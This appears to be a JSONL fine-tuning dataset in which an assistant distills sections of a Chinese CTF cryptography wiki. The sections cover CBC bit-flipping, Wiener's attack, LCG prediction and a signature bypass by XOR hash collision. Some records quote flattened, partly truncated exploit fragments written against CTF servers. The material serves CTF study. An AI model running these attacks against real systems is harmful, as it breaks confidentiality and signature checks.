{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-13d2e194d8d8c841c6e5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/cbc.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/cbc.md`\n标题：CBC\n章节：CBC > 攻击 > 字节反转攻击 > 原理\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 字节反转攻击的原理十分简单，我们观察解密过程可以发现如下特性: - IV （初始向量）影响第一个明文分组 - 第 n 个密文分组可以影响第 n + 1 个明文分组 假设第$n$个密文分组为$C_n$，解密后的第$n$个明文分组为为$P_n$。\n- 其中$f$函数为图中的$\\text{Block Cipher Decryption}$。\n- 对于某个信息已知的原文和密文，我们可以修改第 $n$ 个密文块 $C_n$ 为 $C_n~\\text{xor}~P_{n+1}~\\text{xor}~A$ ，然后再对这条密文进行解密，那么解密后的第 $n$ 个明文块将会变成 $A$ 。\n- 然后$P_{n+1}=C_n~\\text{xor}~f(C_{n+1})$。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- cbc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 333, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["CBC", "攻击", "字节反转攻击", "原理"], "original_id": "docs-6abd34645b73dc7f21d1", "original_line": 330, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "source_root": "docs", "source_sha256": "967fd18c8236164596850f301cd052c278278b21d1aa64db341b53b17d06c695", "split": "train", "split_group_key": "a293a55fe9d1c226e8ffd95f", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "cbc.md"], "title": "CBC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-13e48a2ff6e4cd0b1158", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/complex.md` 中的章节「2017 34c3 Software_update」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/complex.md`\n标题：综合题目\n章节：综合题目 > 2017 34c3 Software_update\n路径分类：crypto / crypto/hash/complex.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017 34c3 Software_update”展开。\n- 2. 修改对应文件后，利用异或的特性使得其哈希值仍然与原来相同，从而绕过签名检测。\n- 其中，最后验证的手法是大概是将每一个文件进行 sha256 哈希，然后异或起来作为输入传递给 rsa 进行签名。\n- 可以看出，程序的大概意思是上传一个 zip 压缩包，然后对 signed_data 目录下的文件进行签名验证。\n- 很自然的想法是我们修改 pre-copy.py 或者 post-copy.py 文件，使其可以读取 flag，然后再次绕过签名即可。\n- 主要有两种思路 1. 根据给定的公钥文件获取对应的私钥，进而再修改文件后伪造签名，然后大概看了看公钥文件几乎不可破，所以这一点，基本上可以放弃。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- hash\n- complex.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 818, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2017 34c3 Software_update", "heading_path": ["综合题目", "2017 34c3 Software_update"], "original_id": "docs-271ae3dac6bd0476f2f5", "original_line": 397, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/complex.md", "source_root": "docs", "source_sha256": "372c85b0dba54a7364dec44b4b02ac99400106d3578e5fb7070ac982ab407c80", "split": "train", "split_group_key": "cd9ebd7a36096ec9d8f548e1", "subcategory": "crypto/hash/complex.md", "terms": ["密码学", "漏洞利用", "crypto", "hash", "complex.md"], "title": "综合题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-1407470e9ce2f801a77c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md` 中的章节「2016 HCTF RSA1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md`\n标题：私钥 d 相关攻击\n章节：私钥 d 相关攻击 > 综合例子 > 2016 HCTF RSA1\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/4\n\n核心知识点：\n- 本节主题围绕“2016 HCTF RSA1”展开。\n- = 1: continue t = invmod(u, phi_n) e = pi_b(t) if gcd(e, phi_n) == 1: break d = invmod(e, phi_n) return (e, d) ` 可以看出，我们得到的 u 的位数比 n 的位数的四分之一还要少，这里其实就差不多满足了 Wiener's Attack 了。\n- 其次，我们来分析一下具体的代码部分，程序是根据我们的 token 来获取 flag 的，这里我们就直接利用源代码中提供的 token。\n- ``python print \"This is a RSA Decryption System\" print \"Please enter Your team token: \" token = raw_input() try: flag = get_flag(token) assert len(flag) == 38 except: print \"Token error!\n- 这时候，可以利用第一个式子进行 Wiener's Attack，获取 u。\n- 进而这时我们可以利用私钥指数泄露攻击的方法来分解 N 从而得到 p，q。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 9 行，首行 `print \"This is a RSA Decryption System\"`\n- python: 6 行，首行 `p=getPrime(2048)`\n- python: 14 行，首行 `def get_ed(p, q):`\n- shell: 3 行，首行 `n: 0x4b4403cd5ac8bdfaa3bbf83decdc97db1fbc7615fd52f67a8acf7588945cd8c3627211ffd3964d979cb1ab3850348a453153710337c6fe3b...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4430, "chunk_count": 4, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2016 HCTF RSA1", "heading_path": ["私钥 d 相关攻击", "综合例子", "2016 HCTF RSA1"], "original_id": "docs-976ab43ddb118fdbf450", "original_line": 288, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "source_root": "docs", "source_sha256": "85e633de5d16e7597fac6a71304dd445659827d367ca09779c36046b10dde498", "split": "train", "split_group_key": "5bb61c30d1894ed4612b1638", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks", "code:python", "code:shell"], "title": "私钥 d 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-1a30543e84c7ae611242", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/intro.md` 中的章节「分类」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/intro.md`\n标题：伪随机数生成器介绍\n章节：伪随机数生成器介绍 > 分类\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分类”展开。\n- 目前通用的伪随机数生成器主要有 - 线性同余生成器，LCG - 线性回归发生器 - Mersenne Twister - xorshift generators - WELL family of generators - Linear feedback shift register，LFSR，线性反馈移位寄存器\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- prng\n- intro.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 322, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "分类", "heading_path": ["伪随机数生成器介绍", "分类"], "original_id": "docs-336edb98d86c8a49249a", "original_line": 436, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "source_root": "docs", "source_sha256": "cf124d7991d281dbf03e0a8fa564025cfe481cee3764816066f932a89c584180", "split": "train", "split_group_key": "addec8f31a98ec15e9ff6890", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "crypto", "streamcipher", "prng", "intro.md"], "title": "伪随机数生成器介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-1c93995e5997adfda5a8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「RSAtool」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍 > 基本工具 > RSAtool\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“RSAtool”展开。\n- 安装 ``bash git clone https://github.com/ius/rsatool.git cd rsatool python rsatool.py -h ` - 生成私钥 `bash python rsatool.py -f PEM -o private.pem -p 1234567 -q 7654321 ``\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n- code:bash\n\n代码/命令片段线索：\n- bash: 3 行，首行 `git clone https://github.com/ius/rsatool.git`\n- bash: 1 行，首行 `python rsatool.py -f PEM -o private.pem -p 1234567 -q 7654321`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 185, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "RSAtool", "heading_path": ["RSA 介绍", "基本工具", "RSAtool"], "original_id": "docs-433415fa342689a4efe2", "original_line": 280, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "edbb6d6a74a767c5f19b9b04", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "crypto", "asymmetric", "rsa", "rsa-theory.md", "code:bash"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-219290b85bf4e8258e4f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/idea.md` 中的章节「总体流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/idea.md`\n标题：IDEA\n章节：IDEA > 基本流程 > 总体流程\n路径分类：crypto / crypto/blockcipher/idea.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“总体流程”展开。\n- 类似地，这个关系可以一直满足直到 $V_{81}=I_{11},V_{82}=I_{13},V_{83}=I_{12},V_{84}=I_{14}$ 那么最后再经过一次简单的输出变换，恰好得到最初加密的数值。\n- 我们进一步看一下$W_{8i}$ 是如何得到的。\n- [图片文件: figure/IDEA_Round.png]\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- idea.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1140, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "总体流程", "heading_path": ["IDEA", "基本流程", "总体流程"], "original_id": "docs-ea55e02f94ad1ea2c809", "original_line": 326, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "source_root": "docs", "source_sha256": "62681a35c372b0057f9949878333cbe09735d4c59f664765ff2ac2782946aa5a", "split": "train", "split_group_key": "db3e859a27f479851098def4", "subcategory": "crypto/blockcipher/idea.md", "terms": ["密码学", "crypto", "blockcipher", "idea.md"], "title": "IDEA"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-222fff34cbce901b751a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/aes.md` 中的章节「加解密过程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/aes.md`\n标题：AES\n章节：AES > 基本流程 > 加解密过程\n路径分类：crypto / crypto/blockcipher/aes.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“加解密过程”展开。\n- 这里给个看雪上比较好的 图例 ，以便于介绍基本的流程，每一轮主要包括 - 轮密钥加，AddRoundKey - 字节替换，SubBytes - 行移位，ShiftRows - 列混淆，MixColumns [图片文件: ./figure/aes_details.jpg] 上面的列混淆的矩阵乘法等号左边的列向量应该在右边。\n- [图片文件: ./figure/aes_enc_dec.png] 我们这里重点关注一下以下。\n- 这里再给一张其加解密的全图，其解密算法的正确性很显然。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- blockcipher\n- aes.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 283, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "加解密过程", "heading_path": ["AES", "基本流程", "加解密过程"], "original_id": "docs-46c82ce85290770b1a2d", "original_line": 315, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "source_root": "docs", "source_sha256": "7459d1017710169c492f33b1cb287f00a9eca355abf34bc65ee2821fb68b7635", "split": "train", "split_group_key": "8d177c1e67cd0d7914099362", "subcategory": "crypto/blockcipher/aes.md", "terms": ["密码学", "AI安全", "crypto", "blockcipher", "aes.md"], "title": "AES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-2584d0be3f639f8d45bb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/simon-speck.md` 中的章节「2017 SECCON Simon and Speck Block Ciphers」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/simon-speck.md`\n标题：Simon and Speck Block Ciphers\n章节：Simon and Speck Block Ciphers > Simon Block Cipher > 2017 SECCON Simon and Speck Block Ciphers\n路径分类：crypto / crypto/blockcipher/simon-speck.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017 SECCON Simon and Speck Block Ciphers”展开。\n- 题目描述如下 `` Simon and Speck Block Ciphers https://eprint.iacr.org/2013/404.pdf Simon_96_64, ECB, key=\"SECCON{xxxx}\", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5 ` 从名字中可以看出密钥是 96 比特（12 byte），明文是 64 比特（8字节），而密钥已经给出了 8 个字节，只剩下四个字节未知。\n- 这里从 https://github.com/bozhu/NSA-ciphers/blob/master/simon.py 获取了一份 simon 加密算法。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- blockcipher\n- simon-speck.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- plain: 2 行，首行 `Simon and Speck Block Ciphers`\n- python: 20 行，首行 `from pwn import *`\n- shell: 2 行，首行 `➜ 2017_seccon_simon_and_speck_block_ciphers git:(master) python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1022, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2017 SECCON Simon and Speck Block Ciphers", "heading_path": ["Simon and Speck Block Ciphers", "Simon Block Cipher", "2017 SECCON Simon and Speck Block Ciphers"], "original_id": "docs-488e84063cbb2a4f6cd3", "original_line": 16, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/simon-speck.md", "source_root": "docs", "source_sha256": "66adb86b00057e38b4b9b7d302ff7d1959ecb701433dea4c57f82dc8a0d263de", "split": "train", "split_group_key": "22b495d4a6e91c5280f161ed", "subcategory": "crypto/blockcipher/simon-speck.md", "terms": ["密码学", "AI安全", "crypto", "blockcipher", "simon-speck.md", "code:python", "code:shell"], "title": "Simon and Speck Block Ciphers"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/simon-speck.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-282f756d4445dde3011f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/discrete-log.md` 中的章节「2018 国赛 crackme java」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/discrete-log.md`\n标题：离散对数\n章节：离散对数 > 2018 国赛 crackme java\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 国赛 crackme java”展开。\n- We suppose val only contains lowercase letter {a-z} and numeric charactors, and is at most 256 charactors in length. / public static String pkEnc(String val){ BigInteger[] ret = new BigInteger[2];\n- } / Alice write the below algorithm for decryption. x is her private key, which she will never let you know. public static String skDec(String val,BigInteger x){ if(!\n- } } / public static void main(String[] args) throws Exception { System.out.println(\"You intercepted the following message, which is sent from Bob to Alice:\");\n- BigInteger bVal1=new BigInteger(\"a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco\",36);\n- System.out.println(\"Please figure out the plaintext!\n\n关键术语：\n- Android逆向\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- discrete-log\n- discrete-log.md\n- code:java\n\n代码/命令片段线索：\n- java: 43 行，首行 `public class Test1 {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3227, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "2018 国赛 crackme java", "heading_path": ["离散对数", "2018 国赛 crackme java"], "original_id": "docs-08855046e37ed664eb4d", "original_line": 205, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "source_root": "docs", "source_sha256": "12483417d69f6b25f640d4229054bf6914168d469d2259d1b5b0f1a3c915fe8d", "split": "train", "split_group_key": "9dabb90c1822eb6ae6789c04", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["Android逆向", "密码学", "AI安全", "crypto", "asymmetric", "discrete-log", "discrete-log.md", "code:java"], "title": "离散对数"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-2894d7def5c102b53df0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/lcg/challenge.md` 中的章节「2016 Google CTF woodman」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/lcg/challenge.md`\n标题：题目\n章节：题目 > 2016 Google CTF woodman\n路径分类：crypto / crypto/streamcipher/lcg\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2016 Google CTF woodman”展开。\n- 具体利用思路如下 1. 首先获取两次猜到的值，这个概率有 0.25。\n- = guess2: continue print tmpx, tmpy print(targetx 2 + 3) % p, (targety * 3 + 9) % p if __name__ == \"__main__\": main() ``\n- 这里当我们猜出前两轮后，使用 Z3 来求解出初始的 x 和 y，那么我们就可以顺利的猜出剩下的值了。\n- 3. 根据自己枚举的值分别计算出第二次的值，只有当对应比特位正确，可以将其加入候选正确值。\n- 4. 此外，在最终判断时，仍然需要确保对应的值满足一定要求，因为之前对减了多少次进行了枚举。\n\n关键术语：\n- ROP/JOP\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- streamcipher\n- lcg\n- challenge.md\n- code:python\n\n代码/命令片段线索：\n- python: 10 行，首行 `class SecurePrng(object):`\n- python: 75 行，首行 `from itertools import product`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3099, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2016 Google CTF woodman", "heading_path": ["题目", "2016 Google CTF woodman"], "original_id": "docs-290ff9bd825006dedfc8", "original_line": 430, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/lcg/challenge.md", "source_root": "docs", "source_sha256": "26852e574b8631014b61f8eb45713f59226f7fc2d428e36f17db4a470e86b309", "split": "train", "split_group_key": "966522d5a44979b4d4cd48a9", "subcategory": "crypto/streamcipher/lcg", "terms": ["ROP/JOP", "密码学", "AI安全", "漏洞利用", "crypto", "streamcipher", "lcg", "challenge.md", "code:python"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/lcg/challenge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-28b896dee5d66d200d69", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「EXP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：RSA 复杂题目 > 2018 Tokyo Western Mixed Cipher > EXP\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“EXP”展开。\n- ```python from zio import * from Crypto.Util.number import long_to_bytes,bytes_to_long target=(\"crypto.chal.ctf.westerns.tokyo\",5643) e=65537\n- def get_enc_key(io): io.read_until(\"4: get encrypted keyn\") io.writeline(\"4\") io.read_until(\"here is encrypted key :)n\") c=int(io.readline()[:-1],16) return c\n- def encrypt_io(io,p): io.read_until(\"4: get encrypted keyn\") io.writeline(\"1\") io.read_until(\"input plain text: \") io.writeline(p) io.read_until(\"RSA: \") rsa_c=int(io.readline()[:-1],16) io.read_until(\"AES: \") aes_c=io.readline()[:-1].decode(\"hex\") return r...\n- def decrypt_io(io,c): io.read_until(\"4: get encrypted keyn\") io.writeline(\"2\") io.read_until(\"input hexencoded cipher text: \") io.writeline(long_to_bytes(c).encode(\"hex\")) io.read_until(\"RSA: \") return io.read_line()[:-1].decode(\"hex\")\n- def get_n(io): rsa_c,aes_c=encrypt_io(io,long_to_bytes(2)) n=pow(2,65537)-rsa_c for i in range(3,6): rsa_c, aes_c = encrypt_io(io, long_to_bytes(i)) n=primefac.gcd(n,pow(i,65537)-rsa_c) return n\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n- code:python\n\n代码/命令片段线索：\n- python: 70 行，首行 `from zio import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1902, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "EXP", "heading_path": ["RSA 复杂题目", "2018 Tokyo Western Mixed Cipher", "EXP"], "original_id": "docs-175ad17d4a9f1ca8f9cf", "original_line": 239, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "6000319c5bd0d415d1731377", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-complex.md", "code:python"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
